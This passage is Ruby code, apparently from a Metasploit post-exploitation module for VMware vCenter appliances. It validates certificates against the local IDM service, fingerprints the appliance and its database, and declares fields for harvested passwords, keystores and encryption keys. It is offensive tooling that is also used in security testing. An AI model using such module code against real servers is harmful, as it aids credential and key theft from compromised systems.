print_error('Unable to query IDM tenant information, cannot validate ssoserverSign certificate against IDM')
879
return false
880
end
881
882
if (idm_json = JSON.parse(idm_cmd).first)
883
idm_json['certificates'].each do |idm|
884
cert_verify = validate_x509_cert(idm['encoded'])
885
if cert_verify.nil?
886
print_error('Invalid x509 certificate extracted from IDM!')
887
return false
888
end
889
next unless cert == cert_verify
890
891
return true
892
end
893
else
894
print_error('Unable to parse IDM tenant certificates downloaded from http://localhost:7080/idm/tenant/ on local vCenter')
895
return false
896
end
897
898
print_error('No vSphere IDM tenant certificates returned from http://localhost:7080/idm/tenant/')
899
false
900
end
901
902
def validate_target
903
if vcenter_management
904
vc_db_type = get_database_type
905
unless vc_db_type == 'embedded'
906
fail_with(Msf::Exploit::Failure::NoTarget, "This module only supports embedded PostgreSQL, appliance reports DB type '#{vc_db_type}'")
907
end
908
909
unless command_exists?(psql_bin)
910
fail_with(Msf::Exploit::Failure::NoTarget, "Could not find #{psql_bin}")
911
end
912
end
913
914
self.vcenter_fqdn = get_fqdn
915
if vcenter_fqdn.nil?
916
print_bad('Could not determine vCenter DNS FQDN')
917
self.vcenter_fqdn = ''
918
end
919
920
vsphere_machine_ipv4 = get_ipv4
921
if vsphere_machine_ipv4.nil? || !Rex::Socket.is_ipv4?(vsphere_machine_ipv4)
922
print_bad('Could not determine vCenter IPv4 address')
923
else
924
print_status("Appliance IPv4: #{vsphere_machine_ipv4}")
925
end
926
927
self.vc_psc_fqdn = get_platform_service_controller(vc_type_management)
928
os, build = get_os_version
929
930
print_status("Appliance Hostname: #{vcenter_fqdn}")
931
print_status("Appliance OS: #{os}-#{build}")
932
host_info = {
933
host: session.session_host,
934
name: vcenter_fqdn,
935
os_flavor: os,
936
os_sp: build,
937
purpose: 'server',
938
info: 'vCenter Server'
939
}
940
if os.downcase.include? 'linux'
941
host_info[:os_name] = 'linux'
942
end
943
report_host(host_info)
944
end
945
946
def get_vcsa_version
947
self.vc_type_embedded = false
948
self.vc_type_infrastructure = false
949
self.vc_type_management = false
950
951
vcsa_type = get_deployment_type
952
case vcsa_type
953
when nil
954
fail_with(Msf::Exploit::Failure::BadConfig, 'Could not find /etc/vmware/deployment.node.type')
955
when 'embedded' # Integrated vCenter and PSC
956
self.vc_deployment_type = 'vCenter Appliance (Embedded)'
957
self.vc_type_embedded = true
958
when 'infrastructure' # PSC only
959
self.vc_deployment_type = 'vCenter Platform Service Controller'
960
self.vc_type_infrastructure = true
961
when 'management' # vCenter only
962
self.vc_deployment_type = 'vCenter Appliance (Management)'
963
self.vc_type_management = true
964
else
965
fail_with(Msf::Exploit::Failure::Unknown, "Unable to determine appliance deployment type returned from server: #{vcsa_type}")
966
end
967
968
if vcenter_management
969
self.vcsa_build = get_vcenter_build
970
end
971
972
print_status(vcsa_build)
973
print_status(vc_deployment_type)
974
end
975
976
private
977
978
attr_accessor :base_dn, :base_fqdn, :bind_dn, :bind_pw, :keystore, :shell_bind_pw, :shell_vcdb_pass, :vc_deployment_type, :vc_psc_fqdn, :vc_sym_key, :vc_sym_key_raw, :vc_tenant_aes_key, :vc_tenant_aes_key_hex, :vc_type_embedded, :vc_type_infrastructure, :vc_type_management, :vcdb_name, :vcdb_pass, :vcdb_user, :vcenter_fqdn, :vcsa_build
979
end
980
981